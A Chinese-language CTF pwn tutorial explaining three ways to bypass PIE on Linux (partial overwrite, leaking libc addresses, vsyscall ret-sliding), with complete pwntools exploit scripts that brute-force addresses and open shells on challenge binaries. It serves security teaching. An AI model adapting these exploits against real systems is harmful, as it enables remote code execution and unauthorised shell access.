作者:Tangerine@SAINTSEC

0x00 PIE简介

在之前的文章中我们提到过ASLR这一防护技术。由于受到堆栈和libc地址可预测的困扰,ASLR被设计出来并得到广泛应用。因为ASLR技术的出现,攻击者在ROP或者向进程中写数据时不得不先进行leak,或者干脆放弃堆栈,转向bss或者其他地址固定的内存块。而PIE(position-independent executable, 地址无关可执行文件)技术就是一个针对代码段.text, 数据段.*data,.bss等固定地址的一个防护技术。同ASLR一样,应用了PIE的程序会在每次加载时都变换加载基址,从而使位于程序本身的gadget也失效。

没有PIE保护的程序,每次加载的基址都是固定的,64位上一般是0x400000

使用PIE保护的程序,可以看到两次加载的基址是不一样的

显然,PIE的应用给ROP技术造成了很大的影响。但是由于某些系统和缺陷,其他漏洞的存在和地址随机化本身的问题,我们仍然有一些可以bypass PIE的手段。下面我们介绍三种比较常见的手法。

0x01 partial write bypass PIE

partial write(部分写入)就是一种利用了PIE技术缺陷的bypass技术。由于内存的页载入机制,PIE的随机化只能影响到单个内存页。通常来说,一个内存页大小为0x1000,这就意味着不管地址怎么变,某条指令的后12位,3个十六进制数的地址是始终不变的。因此通过覆盖EIP的后8或16位 (按字节写入,每字节8位)就可以快速爆破或者直接劫持EIP。

我们打开例子~/DefCamp CTF Finals 2016-SMS/SMS,这是一个64位程序,主要的功能函数dosms()调用了存在漏洞的set_user和set_sms

set_user可以读取128字符的username,从set_sms中对strncpy的调用可以看出长度保存在a1+180,username首地址在a1+140,可以通过溢出修改strncpy长度造成溢出。

除此之外,程序还有一个后门函数frontdoor

这个程序使用了PIE作为保护,我们不能确定frontdoor的具体地址,因此没办法直接通过溢出来跳转到frontdoor()。但是由于我们前面所述的原因,我们可以尝试爆破。

通过查看frontdoor的汇编代码我们知道其地址后三位是0x900

但是由于我们的payload必须按字节写入,每个字节是两个十六进制数,所以我们必须输入两个字节。除去已知的0x900还需要爆破一个十六进制数。这个数只可能在0~0xf之间改变,因此爆破空间不大,可以接受。

在前面几篇文章的训练之后,我们很容易通过调试获取溢出所需的padding并且写出payload如下:

payload = 'a'*40                                        #padding

payload += '\xca'                                        #修改长度为202,即payload的长度,这个参数会在其后的strncpy被使用

io.sendline(payload)

io.recv()

payload = 'a'*200                                        #padding

payload += '\x01\xa9'                                #frontdoor的地址后三位是0x900, +1跳过push rbp

io.sendline(payload)

我们看到注释里用的不是0x900而是0x901,这是因为在实际调试中发现跳转到frontdoor时会出错。为了验证payload的正确性,我们可以在调试时通过IDA修改内存地址修正爆破位的值,此处从略。

验证完payload的正确性之后,我们还必须面临一个问题,那就是如何自动化进行爆破。我们触发一个错误的结果

我们知道爆破失败的话程序就会崩溃,此时io的连接会关闭,因此调用io.recv()会触发一个EOFError。由于这个特性,我们可以使用python的try...except...来捕获这个错误并进行处理。

最终脚本如下:

#!/usr/bin/python

#coding:utf-8

from pwn import *

context.update(arch = 'amd64', os = 'linux')

i = 0

while True:

i += 1

print i

io = remote("172.17.0.3", 10001)

io.recv()

payload = 'a'*40                                        #padding

payload += '\xca'                                        #修改长度为202,即payload的长度,这个参数会在其后的strncpy被使用

io.sendline(payload)

io.recv()

payload = 'a'*200                                        #padding

payload += '\x01\xa9'                                #frontdoor的地址后三位是0x900, +1跳过push rbp

io.sendline(payload)

io.recv()

try:

io.recv(timeout = 1)                        #要么崩溃要么爆破成功,若崩溃io会关闭,io.recv()会触发EOFError

except EOFError:

io.close()

continue

else:

sleep(0.1)

io.sendline('/bin/sh\x00')

sleep(0.1)

io.interactive()                                #没有EOFError的话就是爆破成功,可以开shell

break

0x02 泄露地址bypass PIE

PIE影响的只是程序加载基址,并不会影响指令间的相对地址,因此我们如果能泄露出程序或libc的某些地址,我们就可以利用偏移来达到目的。

打开例子~/BCTF 2017-100levels/100levels,这是个64位的答题程序,要求输入两个数字,相加得到关卡总数,然后计算乘法。本题的栈溢出漏洞位于0xe43的question函数中。

read会读入0x400个字符到栈上,而对应的局部变量buf显然没那么大,因此会造成栈溢出。由于使用了PIE,而且题目中虽然有system但是没有后门,所以本题没办法使用partial write劫持RIP。但是我们在进行调试时发现了栈上有一些有趣的数据:

我们可以看到栈上有大量指向libc的地址。

那么这些地址我们要怎么leak出来呢,我们继续看questions这个函数,又看到了一个有趣的东西

这边的printf输出的参数位于栈上,通过rbp定位。

利用这两个信息,我们很容易想到可以通过partial overwrite修改RBP的值指向这块内存,从而泄露出这些地址,利用这些地址和libc就可以计算到one gadget RCE的地址从而栈溢出调用。我们使用以下脚本把RBP的最后两个十六进制数改成0x5c,此时[rbp+var_34] = 0x5c-0x34=0x28,泄露位于这个位置的地址。

io = remote('172.17.0.3', 10001)

io.recvuntil("Choice:")

io.send('1')

io.recvuntil('?')

io.send('2')

io.recvuntil('?')

io.send('0')

io.recvuntil("Question: ")

question = io.recvuntil("=")[:-1]

answer = str(eval(question))

payload = answer.ljust(0x30, '\x00') + '\x5c'

io.send(payload)

io.recvuntil("Level ")

addr_l8 = int(io.recvuntil("Question: ")[:-10])

通过多次进行实验,我们发现这段脚本的成功率有限,有时候能泄露出libc中的地址

有时候是start的首地址

有时候是无意义的数据

甚至会直接出错

原因是[rbp+var_34]中的数据是0,idiv除法指令产生了除零错误。

此外,我们观察泄露出来的addr_l8会发现有时候是正数有时候是负数。这是因为我们只能泄露出地址的低32位,低8个十六进制数。而这个数的最高位可能是0或者1,转换成有符号整数就可能是正负两种情况。因此我们需要对其进行处理

if addr_l8 < 0:

addr_l8 = addr_l8 + 0x100000000

由于我们泄露出来的只是地址的低32位,抛去前面的4个0,我们还需要猜16位,即4个十六进制数。幸好根据实验,程序加载地址似乎总是在0x000055XXXXXXXXXX-0x000056XXXXXXXXXX间徘徊,因此我们的爆破空间缩小到了0x100*2=512次。我们随便选择一个在这个区间的地址拼上去

addr = addr_l8 + 0x7f8b00000000

为了加快成功率,显然我们不可能只针对一种情况做处理,从上面的截图上我们可以看到那块空间中有好几个不同的libc地址

根据PIE的原理和缺陷,我们可以把后三位作为指纹,识别泄露出来的地址是哪个

if hex(addr)[-2:] == '0b':        #__IO_file_overflow+EB

libc_base = addr - 0x7c90b

elif hex(addr)[-2:] == 'd2':        #puts+1B2

libc_base = addr - 0x70ad2

elif hex(addr)[-3:] == '600':#_IO_2_1_stdout_

libc_base = addr - 0x3c2600

elif hex(addr)[-3:] == '400':#_IO_file_jumps

libc_base = addr - 0x3be400

elif hex(addr)[-2:] == '83':        #_IO_2_1_stdout_+83

libc_base = addr - 0x3c2683

elif hex(addr)[-2:] == '32':        #_IO_do_write+C2

libc_base = addr - 0x7c370 - 0xc2

elif hex(addr)[-2:] == 'e7':        #_IO_do_write+37

libc_base = addr - 0x7c370 - 0x37

最后我们针对泄露出来的无意义数据做一下处理,按照上一节的思路用try...except做一个自动化爆破,形成一个脚本。脚本具体内容见于附件,爆破成功如图

从图中我们可以看到本次爆破总共尝试了2633次,相比于上一节,次数还是比较多的。

此题在网上可以搜到其他利用泄露出来的返回地址做ROP的做法,由于题目中已经有system,感兴趣的同学也可以试一下。此外,这个题目和下一节中的题目本质上是一样的,因此也可以作为下一节的练习题。

0x03 使用vdso/vsyscall bypass PIE

我们知道,在开启了ASLR的系统上运行PIE程序,就意味着所有的地址都是随机化的。然而在某些版本的系统中这个结论并不成立,原因是存在着一个神奇的vsyscall。(由于vsyscall在一部分发行版本中的内核已经被裁减掉了,新版的kali也属于其中之一。vsyscall在内核中实现,无法用docker模拟,因此任何与vsyscall相关的实验都改成在Ubuntu 16.04上进行,同时libc中的偏移需要进行修正)

如上面两图,我先后运行了四次cat /proc/self/maps查看本进程的内存,可以发现其他地址都在变,只有vsyscall一直稳定在0xffffffffff600000-0xffffffffff601000(这里使用cat /proc/[pid]/maps的方式而不是使用IDA是因为这块内存对IDA不可见)那么这块vsyscall是什么,又是干什么用的呢?

有些读者可能已经查阅过相关资料了。简单地说,现代的Windows/*Unix操作系统都采用了分级保护的方式,内核代码位于R0,用户代码位于R3。许多对硬件和内核等的操作都会被包装成内核函数并提供一个接口给用户层代码调用,这个接口就是我们熟知的int 0x80/syscall+调用号模式。当我们每次调用这个接口时,为了保证数据的隔离,我们需要把当前的上下文(寄存器状态等)保存好,然后切换到内核态运行内核函数,然后将内核函数返回的结果放置到对应的寄存器和内存中,再恢复上下文,切换到用户模式。这一过程需要耗费一定的性能。对于某些系统调用,如gettimeofday来说,由于他们经常被调用,如果每次被调用都要这么来回折腾一遍,开销就会变成一个累赘。因此系统把几个常用的无参内核调用从内核中映射到用户空间中,这就是vsyscall.我们使用gdb可以把vsyscall dump出来加载到IDA中观察

可以看到这里面有三个系统调用,从上到下分别是gettimeofday, time和getcpu。由于是系统调用,都是通过syscall来实现,这就意味着我们似乎有一个可控的sysall了。

我们先来看一眼题目~/HITB GSEC CTF 2017-1000levels/1000levels。正如上一节所说,这个题目其实就是100levels的升级版,唯一的变动就是关卡总数增加到了1000.不管怎样,我们先来试一下调用vsyscall中的syscall。我们选择在开头下个断点,直接开启调试后布置一下寄存器,并修改RIP到0xffffffffff600007,即第一个syscall所在地址。

执行时发现提示段错误。显然,我们没办法直接利用vsyscall中的syscall指令。这是因为vsyscall执行时会进行检查,如果不是从函数开头执行的话就会出错。因此,我们唯一的选择就是利用0xffffffffff600000, 0xffffffffff600400, 0xffffffffff600800这三个地址。那么这三个地址对于我们来说有什么用呢?我们继续分析题目。

同100levels一样,1000levels也有一个hint选项

这个hint的功能是当全局变量show_hint非空时输出system的地址。

由于缺乏任意修改地址的手段,我们并不能去修改show_hint,但是分析汇编代码,我们发现不管show_hint是否为空,其实system的地址都会被放置在栈上。

由于这个题目给了libc,因此我们可以利用这个泄露的地址计算其他gadgets的偏移,或者直接使用one gadget RCE。但是还有一个问题:我们怎么泄露这个地址呢?

我们继续看实现主要游戏功能的函数go,其实现和漏洞点与100levels一致。但是在上一节我们没有提及的是其实询问关卡的时候是可以输入0或者负数的,而且从流程图上看,正数和非正数的处理逻辑有一些有趣的不同。

可以看出,当输入的关卡数为正数的时候,rbp+var_110处的内容会被关卡数取代,而输入负数时则不会。那么这个var_110和system地址所在的var_110是不是一个东西呢?根据栈帧开辟的原理和main函数代码的分析,由于两次循环之间并没有进出栈操作,main函数的rsp,也就是hint和go的rbp应该是不会改变的。而事实也确实如此

继续往下执行,发现第二次输入的关卡数会被直接加到system上

由于第二次的输入也没有限制正负数,因此我们可以通过输入偏移值把system修改成one gadget rce。接下来我们需要做的是利用栈溢出控制RIP指向我们修改好的one gadget rce。

由于rbp_var_110里的值会被当成循环次数,当次数过大时会锁定为999次,所以我们必须写一个自动应答脚本来处理题目。根据100levels的脚本我们很容易构造脚本如下:

io = remote('127.0.0.1', 10001)

libc_base = -0x456a0                                        #减去system函数离libc开头的偏移

one_gadget_base = 0x45526                                #加上one gadget rce离libc开头的偏移

vsyscall_gettimeofday = 0xffffffffff600000

def answer():

io.recvuntil('Question: ')

answer = eval(io.recvuntil(' = ')[:-3])

io.recvuntil('Answer:')

io.sendline(str(answer))

io.recvuntil('Choice:')

io.sendline('2')                                                #让system的地址进入栈中

io.recvuntil('Choice:')

io.sendline('1')                                                #调用go()

io.recvuntil('How many levels?')

io.sendline('-1')                                                #输入的值必须小于0,防止覆盖掉system的地址

io.recvuntil('Any more?')

io.sendline(str(libc_base+one_gadget_base))                #第二次输入关卡的时候输入偏移值,从而通过相加将system的地址变为one gadget rce的地址

for i in range(999):                                                         #循环答题

log.info(i)

answer()

计算发现0x38个字节后到rip,然而rip离one gadget rce还有三个地址长度。

我们要怎么让程序运行到one gadget rce呢?有些读者可能听说过有一种技术叫做NOP slide,即写shellcode的时候在前面用大量的NOP进行填充。由于NOP是一条不会改变上下文的空指令,因此执行完一堆NOP后执行shellcode对shellcode的功能并没有影响,且可以增加地址猜测的范围,从一定程度上对抗ASLR。这里我们同样可以用ret指令不停地“滑”到下一条。由于程序开了PIE且没办法泄露内存空间中的地址,我们找不到一个可靠的ret指令所在地址。这个时候vsyscall就派上用场了。

我们前面知道,vsyscall中有三个无参系统调用,且只能从入口进入。我们选的这个one gadget rce要求rax = 0.查阅相关资料可知gettimeofday执行成功时返回值就是0.因此我们可以选择调用三次vsyscall中的gettimeofday,利用执行完的ret“滑”过这片空间。

io.send('a'*0x38 + p64(vsyscall_gettimeofday)*3)

正如我们所见,尽管有一些限制,由于vsyscall地址的固定性,这个本来是为了节省开销的设置造成了很大的隐患,因此vsyscall很快就被新的机制vdso所取代。与vsyscall不同的是,vdso的地址也是随机化的,且其中的指令可以任意执行,不需要从入口开始,这就意味着我们可以利用vdso中的syscall来干一些坏事了。

由于64位下的vdso的地址随机化位数达到了22bit,爆破空间相对较大,爆破还是需要一点时间的。但是,32位下的vdso需要爆破的字节数就很少了。同样的,32位下的ASLR随机化强度也相对较低,读者可以使用附件中的题目~/NJCTF 2017-233/233进行实验。

课后例题和练习题附件

Linux设置bypass网卡,Linux pwn入门教程(7)——PIE与bypass思路相关推荐

  1. c# 定位内存快速增长_CTF丨Linux Pwn入门教程:针对函数重定位流程的相关测试(下)...

    Linux Pwn入门教程系列分享已到尾声,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

  2. Linux pwn入门教程——CTF比赛

    Linux pwn入门教程(1)--栈溢出基础 from:https://zhuanlan.zhihu.com/p/38985585 0x00 函数的进入与返回 要想理解栈溢出,首先必须理解在汇编层面 ...

  3. Linux系统双网卡聚合超详细教程

    Linux系统双网卡聚合超详细教程 将多个物理网卡聚合在一起,从而实现冗错和提高吞吐量 网络组不同于旧版中bonding技术,提供更好的性能和扩展性 网络组由内核驱动和teamd守护进程实现. 主要分 ...

  4. Linux 设置双网卡通信,外网网卡和内网网卡

    文章目录 Linux 设置双网卡通信,外网网卡和内网网卡 1.配置路由表 2.设置启动自动生效 Linux 设置双网卡通信,外网网卡和内网网卡 1.配置路由表 背景,Linux 主机已经安装了内网.外 ...

  5. Linux pwn入门教程,i春秋linux_pwn入门教程复现之栈溢出基础

    i春秋linux_pwn入门教程复现之栈溢出基础 演示进程总览 1: main函数 2: hello函数 3: getShell函数 函数的入栈和出栈 1: F2断点于call hello 启动IDA ...

  6. linux 轻量化图形界面,YOXIOS 入门教程--基于Linux的 轻量化GUI图形系统和硬件平台(41页)-原创力文档...

    YOXIOS --基于 Linux 的轻量化 GUI图形系统和硬件平台 YOXIOS 入门教程 基于 Linux 的 轻量化 GUI图形系统和硬件平台 (V1.0 2020-05) 提示:阅读此文档需 ...

  7. linux删除slave网卡,Linux bonding网卡与其slave共同使用

    在昨天的一文中,我吐槽了Linux各种虚拟网卡设计的不完备,也只是吐槽,其实我并没有别的意思,我也懒得去做一些hack型的配置去规避这些不完备,我只是吐槽而已. 昨晚,有网友要求我给出一些解法,因为他 ...

  8. linux里添加网卡,Linux添加虚拟网卡的多种方法

    Linux添加虚拟网卡的多种方法有时候,一台服务器需要设置多个ip,但又不想添加多块网卡,那就需要设置虚拟网卡.这里介绍几种方式在linux服务器上添加虚拟网卡.我们 有时候,一台服务器需要设置多个i ...

  9. linux设置ip默认,Linux设置ip地址与默认网关

    1. 设置ip地址 打开终端,取得root权限(sudo su).输入命令: # ifconfig eth0 192.168.0.20 netmask 255.255.255.0 详解:ifconfi ...

  10. linux 内核 82540网卡,Linux网卡as4.2 编译安装及配置准备

    Linux网卡as4.2 编译安装及配置准备 [日期:2008-03-28] 来源:Linux公社 作者:Linux整理 [字体:大 中 小] 确定make gcc kernel-devel包必须安装 ...

最新文章

  1. Android之关于图表
  2. 打印JVM配置参数的命令
  3. mysql 二次 聚合,MySql-聚合查询
  4. math:线性代数之行列式
  5. 写完程序 看 蜡笔小新 的有木有
  6. 没事聊聊C++局域网聊天软件
  7. 动态规划(二)——经典问题之最长上升子序列
  8. multi source replication mysql,Disabling Multi-Source Replication in MySQL 5.7
  9. 使用git将本地仓库上传到远程仓库
  10. centos7 安装git_在PHP7.4里配置,源码安装swoole4.x,把swoole用起来
  11. 使用Java FXGL构建太空游侠游戏
  12. jquery 获取节点各种方法
  13. css 的块级元素和行内元素
  14. 书店计算机管理制度范文,书店管理制度
  15. mongodb之使用explain和hint性能分析和优化
  16. [2018.10.15 T2] 字符串
  17. android 6.0截屏的实现,android截屏实现
  18. 屏幕录制工具LICEcap,截屏生成GIF图
  19. Method threw ‘feign.codec.DecodeException‘ exception.
  20. l3gd20陀螺仪精度_L3GD20H陀螺仪数据手册

热门文章

  1. maya多边形建模怎样做曲面_maya中的曲面模型怎么转换成多边形?
  2. 协创物联网合肥产业园项目远程预付费电能管理系统的设计与应用
  3. 最新最全的 SQL 入门教程,老少皆宜,强烈推荐!
  4. Python 深入浅出 - HelloWorld
  5. MySQL数据库的卸载
  6. 再谈“学微积,用手机”
  7. 最新python爬取喜马拉雅音频_Python爬虫实战案例之爬取喜马拉雅音频数据详解
  8. javaweb开发后端常用技术_java后端开发需要掌握什么技术
  9. java中double类型占几个字节_Java中基本数据类型占几个字节多少位
  10. RN开发系列<2>--基本调试